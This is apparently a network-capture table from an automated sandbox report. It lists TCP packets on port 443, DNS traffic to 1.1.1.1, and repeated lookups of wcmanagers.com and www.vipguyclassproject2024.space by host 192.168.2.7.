Jul 3, 2024 08:56:53.270112991 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.270169020 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.270175934 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.270214081 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.300741911 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.300760984 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.300848961 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.300869942 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.300909996 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.301462889 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.301477909 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.301548958 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.301556110 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.301593065 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.302050114 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.302073002 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.302104950 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.302112103 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.302139044 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.302156925 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.302589893 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.302603960 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.302653074 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.302659035 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.302695990 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.303303957 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.303323030 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.303371906 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.303380966 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.303417921 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.303894997 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.303910017 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.303960085 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.303968906 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.304004908 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.360569000 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.360590935 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.360693932 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.360713005 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.360754967 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.361697912 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.361712933 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.361773014 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.361787081 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.361828089 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.391103029 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.391123056 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.391242027 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.391277075 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.391321898 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.391644955 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.391659975 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.391732931 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.391740084 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.391778946 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.392258883 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.392273903 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.392348051 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.392354012 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.392394066 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.393034935 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.393052101 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.393115997 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.393122911 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.393168926 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.393630028 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.393645048 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.393695116 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.393702030 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.393737078 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.393872023 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.393887043 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.393918037 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.393924952 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.393953085 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.393978119 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.450978041 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.450999022 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.451086044 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.451107979 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.451162100 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.451662064 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.451680899 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.451730967 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.451738119 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.451760054 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.451782942 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.481748104 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.481772900 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.481834888 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.481861115 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.481884003 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.481899977 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.482336044 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.482352018 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.482404947 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.482412100 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.482450962 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.483097076 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.483113050 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.483169079 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.483175039 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.483217001 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.483593941 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.483612061 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.483660936 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.483668089 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.483701944 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.484405041 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.484453917 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.484469891 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.484477043 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.484505892 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.484519958 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.485022068 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.485035896 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.485100985 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.485107899 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.485145092 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.542725086 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.542746067 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.542835951 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.542860031 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.542906046 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.544394016 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.544409037 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.544460058 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.544466019 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.544501066 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.572779894 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.572798014 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.572904110 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.572923899 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.572962046 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.573296070 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.573311090 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.573367119 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.573374987 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.573412895 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.573998928 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.574014902 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.574098110 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.574103117 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.574140072 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.574645042 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.574661016 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.574713945 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.574726105 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.574769974 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.574785948 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.574836969 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.574842930 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.574855089 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.574878931 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.574903011 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.578140974 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.578161001 CEST	443	49700	108.170.55.202	192.168.2.7
Jul 3, 2024 08:56:53.578171968 CEST	49700	443	192.168.2.7	108.170.55.202
Jul 3, 2024 08:56:53.578176975 CEST	443	49700	108.170.55.202	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 3, 2024 08:56:51.156667948 CEST	58143	53	192.168.2.7	1.1.1.1
Jul 3, 2024 08:56:51.785564899 CEST	53	58143	1.1.1.1	192.168.2.7
Jul 3, 2024 08:57:01.053455114 CEST	50036	53	192.168.2.7	1.1.1.1
Jul 3, 2024 08:57:01.060977936 CEST	53	50036	1.1.1.1	192.168.2.7
Jul 3, 2024 08:57:06.156151056 CEST	53353	53	192.168.2.7	1.1.1.1
Jul 3, 2024 08:57:06.166323900 CEST	53	53353	1.1.1.1	192.168.2.7
Jul 3, 2024 08:57:11.233755112 CEST	63291	53	192.168.2.7	1.1.1.1
Jul 3, 2024 08:57:11.242602110 CEST	53	63291	1.1.1.1	192.168.2.7
Jul 3, 2024 08:57:16.274815083 CEST	63388	53	192.168.2.7	1.1.1.1
Jul 3, 2024 08:57:16.382141113 CEST	53	63388	1.1.1.1	192.168.2.7
Jul 3, 2024 08:57:20.411180973 CEST	50340	53	192.168.2.7	1.1.1.1
Jul 3, 2024 08:57:20.418603897 CEST	53	50340	1.1.1.1	192.168.2.7
Jul 3, 2024 08:57:25.457830906 CEST	59176	53	192.168.2.7	1.1.1.1
Jul 3, 2024 08:57:25.465373039 CEST	53	59176	1.1.1.1	192.168.2.7
Jul 3, 2024 08:57:25.560024023 CEST	53	52309	162.159.36.2	192.168.2.7
Jul 3, 2024 08:57:26.045933962 CEST	50589	53	192.168.2.7	1.1.1.1
Jul 3, 2024 08:57:26.060957909 CEST	53	50589	1.1.1.1	192.168.2.7
Jul 3, 2024 08:57:28.565835953 CEST	49501	53	192.168.2.7	1.1.1.1
Jul 3, 2024 08:57:28.575367928 CEST	53	49501	1.1.1.1	192.168.2.7
Jul 3, 2024 08:57:33.639190912 CEST	64183	53	192.168.2.7	1.1.1.1
Jul 3, 2024 08:57:33.648858070 CEST	53	64183	1.1.1.1	192.168.2.7
Jul 3, 2024 08:57:39.029723883 CEST	55944	53	192.168.2.7	1.1.1.1
Jul 3, 2024 08:57:39.037692070 CEST	53	55944	1.1.1.1	192.168.2.7
Jul 3, 2024 08:57:43.451848984 CEST	54367	53	192.168.2.7	1.1.1.1
Jul 3, 2024 08:57:43.461863041 CEST	53	54367	1.1.1.1	192.168.2.7
Jul 3, 2024 08:57:48.607877016 CEST	51456	53	192.168.2.7	1.1.1.1
Jul 3, 2024 08:57:48.615583897 CEST	53	51456	1.1.1.1	192.168.2.7
Jul 3, 2024 08:57:53.451900005 CEST	59170	53	192.168.2.7	1.1.1.1
Jul 3, 2024 08:57:53.468645096 CEST	53	59170	1.1.1.1	192.168.2.7
Jul 3, 2024 08:57:58.295365095 CEST	49448	53	192.168.2.7	1.1.1.1
Jul 3, 2024 08:57:58.307159901 CEST	53	49448	1.1.1.1	192.168.2.7
Jul 3, 2024 08:58:03.311163902 CEST	62052	53	192.168.2.7	1.1.1.1
Jul 3, 2024 08:58:03.319127083 CEST	53	62052	1.1.1.1	192.168.2.7
Jul 3, 2024 08:58:08.295172930 CEST	57183	53	192.168.2.7	1.1.1.1
Jul 3, 2024 08:58:08.302874088 CEST	53	57183	1.1.1.1	192.168.2.7
Jul 3, 2024 08:58:13.295453072 CEST	49403	53	192.168.2.7	1.1.1.1
Jul 3, 2024 08:58:13.303615093 CEST	53	49403	1.1.1.1	192.168.2.7
Jul 3, 2024 08:58:18.295413971 CEST	64073	53	192.168.2.7	1.1.1.1
Jul 3, 2024 08:58:18.305335999 CEST	53	64073	1.1.1.1	192.168.2.7
Jul 3, 2024 08:58:23.295821905 CEST	49577	53	192.168.2.7	1.1.1.1
Jul 3, 2024 08:58:23.307399988 CEST	53	49577	1.1.1.1	192.168.2.7
Jul 3, 2024 08:58:28.295320988 CEST	50378	53	192.168.2.7	1.1.1.1
Jul 3, 2024 08:58:28.305159092 CEST	53	50378	1.1.1.1	192.168.2.7
Jul 3, 2024 08:58:33.332962990 CEST	50336	53	192.168.2.7	1.1.1.1
Jul 3, 2024 08:58:33.340440989 CEST	53	50336	1.1.1.1	192.168.2.7
Jul 3, 2024 08:58:38.295219898 CEST	55209	53	192.168.2.7	1.1.1.1
Jul 3, 2024 08:58:38.306010962 CEST	53	55209	1.1.1.1	192.168.2.7
Jul 3, 2024 08:58:43.298301935 CEST	51794	53	192.168.2.7	1.1.1.1
Jul 3, 2024 08:58:43.309531927 CEST	53	51794	1.1.1.1	192.168.2.7
Jul 3, 2024 08:58:48.295382023 CEST	62769	53	192.168.2.7	1.1.1.1
Jul 3, 2024 08:58:48.303158045 CEST	53	62769	1.1.1.1	192.168.2.7
Jul 3, 2024 08:58:53.297892094 CEST	55145	53	192.168.2.7	1.1.1.1
Jul 3, 2024 08:58:53.306932926 CEST	53	55145	1.1.1.1	192.168.2.7
Jul 3, 2024 08:58:58.295571089 CEST	62843	53	192.168.2.7	1.1.1.1
Jul 3, 2024 08:58:58.305921078 CEST	53	62843	1.1.1.1	192.168.2.7
Jul 3, 2024 08:59:03.295378923 CEST	56056	53	192.168.2.7	1.1.1.1
Jul 3, 2024 08:59:03.305491924 CEST	53	56056	1.1.1.1	192.168.2.7
Jul 3, 2024 08:59:08.295871973 CEST	61547	53	192.168.2.7	1.1.1.1
Jul 3, 2024 08:59:08.303704977 CEST	53	61547	1.1.1.1	192.168.2.7
Jul 3, 2024 08:59:13.295552969 CEST	53354	53	192.168.2.7	1.1.1.1
Jul 3, 2024 08:59:13.308562040 CEST	53	53354	1.1.1.1	192.168.2.7
Jul 3, 2024 08:59:18.304491043 CEST	55117	53	192.168.2.7	1.1.1.1
Jul 3, 2024 08:59:18.312145948 CEST	53	55117	1.1.1.1	192.168.2.7
Jul 3, 2024 08:59:23.295416117 CEST	63846	53	192.168.2.7	1.1.1.1
Jul 3, 2024 08:59:23.303596020 CEST	53	63846	1.1.1.1	192.168.2.7
Jul 3, 2024 08:59:28.295485973 CEST	50612	53	192.168.2.7	1.1.1.1
Jul 3, 2024 08:59:28.303502083 CEST	53	50612	1.1.1.1	192.168.2.7
Jul 3, 2024 08:59:33.295475960 CEST	59402	53	192.168.2.7	1.1.1.1
Jul 3, 2024 08:59:33.303508997 CEST	53	59402	1.1.1.1	192.168.2.7
Jul 3, 2024 08:59:38.296055079 CEST	54477	53	192.168.2.7	1.1.1.1
Jul 3, 2024 08:59:38.303596973 CEST	53	54477	1.1.1.1	192.168.2.7
Jul 3, 2024 08:59:43.295725107 CEST	56525	53	192.168.2.7	1.1.1.1
Jul 3, 2024 08:59:43.428184032 CEST	53	56525	1.1.1.1	192.168.2.7
Jul 3, 2024 08:59:48.295909882 CEST	59932	53	192.168.2.7	1.1.1.1
Jul 3, 2024 08:59:48.360872984 CEST	53	59932	1.1.1.1	192.168.2.7
Jul 3, 2024 08:59:53.295419931 CEST	54771	53	192.168.2.7	1.1.1.1
Jul 3, 2024 08:59:53.302922964 CEST	53	54771	1.1.1.1	192.168.2.7
Jul 3, 2024 08:59:58.331558943 CEST	51616	53	192.168.2.7	1.1.1.1
Jul 3, 2024 08:59:58.342658997 CEST	53	51616	1.1.1.1	192.168.2.7
Jul 3, 2024 09:00:03.295896053 CEST	59240	53	192.168.2.7	1.1.1.1
Jul 3, 2024 09:00:03.304307938 CEST	53	59240	1.1.1.1	192.168.2.7
Jul 3, 2024 09:00:08.295687914 CEST	54003	53	192.168.2.7	1.1.1.1
Jul 3, 2024 09:00:08.303471088 CEST	53	54003	1.1.1.1	192.168.2.7
Jul 3, 2024 09:00:13.298487902 CEST	61895	53	192.168.2.7	1.1.1.1
Jul 3, 2024 09:00:13.306945086 CEST	53	61895	1.1.1.1	192.168.2.7
Jul 3, 2024 09:00:18.295538902 CEST	60868	53	192.168.2.7	1.1.1.1
Jul 3, 2024 09:00:18.303373098 CEST	53	60868	1.1.1.1	192.168.2.7
Jul 3, 2024 09:00:23.295883894 CEST	56245	53	192.168.2.7	1.1.1.1
Jul 3, 2024 09:00:23.583026886 CEST	53	56245	1.1.1.1	192.168.2.7
Jul 3, 2024 09:00:28.295654058 CEST	54655	53	192.168.2.7	1.1.1.1
Jul 3, 2024 09:00:28.304403067 CEST	53	54655	1.1.1.1	192.168.2.7
Jul 3, 2024 09:00:33.321141005 CEST	54585	53	192.168.2.7	1.1.1.1
Jul 3, 2024 09:00:33.329210043 CEST	53	54585	1.1.1.1	192.168.2.7
Jul 3, 2024 09:00:38.295638084 CEST	59164	53	192.168.2.7	1.1.1.1
Jul 3, 2024 09:00:38.303339958 CEST	53	59164	1.1.1.1	192.168.2.7
Jul 3, 2024 09:00:43.295831919 CEST	57075	53	192.168.2.7	1.1.1.1
Jul 3, 2024 09:00:43.304078102 CEST	53	57075	1.1.1.1	192.168.2.7
Jul 3, 2024 09:00:48.295692921 CEST	55530	53	192.168.2.7	1.1.1.1
Jul 3, 2024 09:00:48.305927038 CEST	53	55530	1.1.1.1	192.168.2.7
Jul 3, 2024 09:00:53.295603037 CEST	57766	53	192.168.2.7	1.1.1.1
Jul 3, 2024 09:00:53.303270102 CEST	53	57766	1.1.1.1	192.168.2.7
Jul 3, 2024 09:00:59.882762909 CEST	52118	53	192.168.2.7	1.1.1.1
Jul 3, 2024 09:00:59.892136097 CEST	53	52118	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 3, 2024 08:56:51.156667948 CEST	192.168.2.7	1.1.1.1	0xae16	Standard query (0)	wcmanagers.com	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:57:01.053455114 CEST	192.168.2.7	1.1.1.1	0xabba	Standard query (0)	www.vipguyclassproject2024.space	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:57:06.156151056 CEST	192.168.2.7	1.1.1.1	0x42e3	Standard query (0)	www.vipguyclassproject2024.space	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:57:11.233755112 CEST	192.168.2.7	1.1.1.1	0x68b0	Standard query (0)	www.vipguyclassproject2024.space	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:57:16.274815083 CEST	192.168.2.7	1.1.1.1	0x4ec4	Standard query (0)	www.vipguyclassproject2024.space	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:57:20.411180973 CEST	192.168.2.7	1.1.1.1	0xf0b1	Standard query (0)	www.vipguyclassproject2024.space	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:57:25.457830906 CEST	192.168.2.7	1.1.1.1	0x7776	Standard query (0)	www.vipguyclassproject2024.space	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:57:26.045933962 CEST	192.168.2.7	1.1.1.1	0xbf28	Standard query (0)	198.187.3.20.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Jul 3, 2024 08:57:28.565835953 CEST	192.168.2.7	1.1.1.1	0x1c0d	Standard query (0)	www.vipguyclassproject2024.space	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:57:33.639190912 CEST	192.168.2.7	1.1.1.1	0x4647	Standard query (0)	www.vipguyclassproject2024.space	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:57:39.029723883 CEST	192.168.2.7	1.1.1.1	0x5004	Standard query (0)	www.vipguyclassproject2024.space	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:57:43.451848984 CEST	192.168.2.7	1.1.1.1	0xda81	Standard query (0)	www.vipguyclassproject2024.space	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:57:48.607877016 CEST	192.168.2.7	1.1.1.1	0x3f27	Standard query (0)	www.vipguyclassproject2024.space	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:57:53.451900005 CEST	192.168.2.7	1.1.1.1	0xb1de	Standard query (0)	www.vipguyclassproject2024.space	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:57:58.295365095 CEST	192.168.2.7	1.1.1.1	0x6185	Standard query (0)	www.vipguyclassproject2024.space	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:58:03.311163902 CEST	192.168.2.7	1.1.1.1	0xb730	Standard query (0)	www.vipguyclassproject2024.space	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:58:08.295172930 CEST	192.168.2.7	1.1.1.1	0x22ff	Standard query (0)	www.vipguyclassproject2024.space	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:58:13.295453072 CEST	192.168.2.7	1.1.1.1	0xcc09	Standard query (0)	www.vipguyclassproject2024.space	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:58:18.295413971 CEST	192.168.2.7	1.1.1.1	0x9f10	Standard query (0)	www.vipguyclassproject2024.space	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:58:23.295821905 CEST	192.168.2.7	1.1.1.1	0x24e8	Standard query (0)	www.vipguyclassproject2024.space	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:58:28.295320988 CEST	192.168.2.7	1.1.1.1	0x4004	Standard query (0)	www.vipguyclassproject2024.space	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:58:33.332962990 CEST	192.168.2.7	1.1.1.1	0x7c0	Standard query (0)	www.vipguyclassproject2024.space	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:58:38.295219898 CEST	192.168.2.7	1.1.1.1	0x8e2	Standard query (0)	www.vipguyclassproject2024.space	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:58:43.298301935 CEST	192.168.2.7	1.1.1.1	0xa794	Standard query (0)	www.vipguyclassproject2024.space	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:58:48.295382023 CEST	192.168.2.7	1.1.1.1	0xaccb	Standard query (0)	www.vipguyclassproject2024.space	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:58:53.297892094 CEST	192.168.2.7	1.1.1.1	0x330e	Standard query (0)	www.vipguyclassproject2024.space	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:58:58.295571089 CEST	192.168.2.7	1.1.1.1	0x7769	Standard query (0)	www.vipguyclassproject2024.space	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:59:03.295378923 CEST	192.168.2.7	1.1.1.1	0xcd82	Standard query (0)	www.vipguyclassproject2024.space	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:59:08.295871973 CEST	192.168.2.7	1.1.1.1	0xe0de	Standard query (0)	www.vipguyclassproject2024.space	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:59:13.295552969 CEST	192.168.2.7	1.1.1.1	0xfdec	Standard query (0)	www.vipguyclassproject2024.space	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:59:18.304491043 CEST	192.168.2.7	1.1.1.1	0x115d	Standard query (0)	www.vipguyclassproject2024.space	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:59:23.295416117 CEST	192.168.2.7	1.1.1.1	0x9b22	Standard query (0)	www.vipguyclassproject2024.space	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:59:28.295485973 CEST	192.168.2.7	1.1.1.1	0xffec	Standard query (0)	www.vipguyclassproject2024.space	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:59:33.295475960 CEST	192.168.2.7	1.1.1.1	0xbef	Standard query (0)	www.vipguyclassproject2024.space	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:59:38.296055079 CEST	192.168.2.7	1.1.1.1	0x77b5	Standard query (0)	www.vipguyclassproject2024.space	A (IP address)	IN (0x0001)	false
Jul 3, 2024 08:59:43.295725107 CEST	192.168.2.7	1.1.1.1	0x30c8	Standard query (0)	www.vipguyclassproject2024.space	A (IP address)	IN (0x0001)	false
